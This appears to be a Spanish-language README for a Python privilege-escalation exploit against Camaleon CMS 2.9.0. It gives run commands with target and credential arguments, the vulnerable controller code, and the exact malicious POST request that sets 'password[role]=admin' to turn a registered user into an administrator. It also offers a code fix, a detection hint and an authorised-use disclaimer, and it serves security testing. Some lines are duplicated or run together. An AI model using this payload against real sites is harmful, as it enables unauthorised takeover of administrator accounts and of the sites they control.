
Este script de Python explota una vulnerabilidad crítica de asignación masiva en Camaleon CMS versión 2.9.0, permitiendo que cualquier usuario registrado escale sus privilegios a administrador.
Este script Python explota una vulnerabilidad crítica de asignación masiva (mass assignment) en Camaleon CMS versión 2.9.0, permitiendo a cualquier usuario registrado escalar sus privilegios a administrador.
permit! en la acción updated_ajax permite que todos los parámetros pasen sin filtrar, incluido el parámetro role/admin/users/[id]/updated_ajax con un payload malicioso: (En el script usé el id 5, ya que normalmente es el asignado automáticamente. Podría ser necesario cambiarlo.)
password[role]=admin - Este parámetro debería ser filtrado, pero no lo es debido a permit!password[password] y password[password_confirmation] - Actualiza la contraseña del usuario (Cuando un usuario normal con rol cliente actualiza su perfil, técnicamente es user[role]=client, pero como estamos explotando la vulnerabilidad resultante de la funcionalidad de cambiar contraseña, será password[role]=admin.)pip install -r requirements.txt
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword
--new-password: Establecer una nueva contraseña durante la explotación (por defecto usa la contraseña actual)python camaleon_cms_privilege_escalation.py \
--url http://192.168.1.100 \
--username testuser \
--password testpass123 \
--new-password newadminpass
La vulnerabilidad existe en el método updated_ajax del UsersController:
def updated_ajax
# Código vulnerable - usa permit! en lugar de filtrado específico de parámetros
@user.update(params.require(:user).permit!)
# Esto permite que CUALQUIER parámetro sea asignado masivamente, incluido role
end
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded
password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch
{
"success": true,
"message": "User updated successfully"
}
Reemplazar el vulnerable método permit! con un filtrado explícito de parámetros:
def updated_ajax
@user.update(params.require(:user).permit(:password, :password_confirmation, :email))
# Excluir explícitamente: parámetro role
end
Este script es solo para fines educativos y de pruebas de seguridad autorizadas. Por favor, no utilice este exploit en sistemas que no posea o para los que no tenga permiso explícito para probar. El autor no se hace responsable por el mal uso o los daños causados por esta herramienta.
Los equipos de seguridad pueden detectar intentos de explotación monitoreando:
/admin/users/[id]/updated_ajax con el parámetro password[role]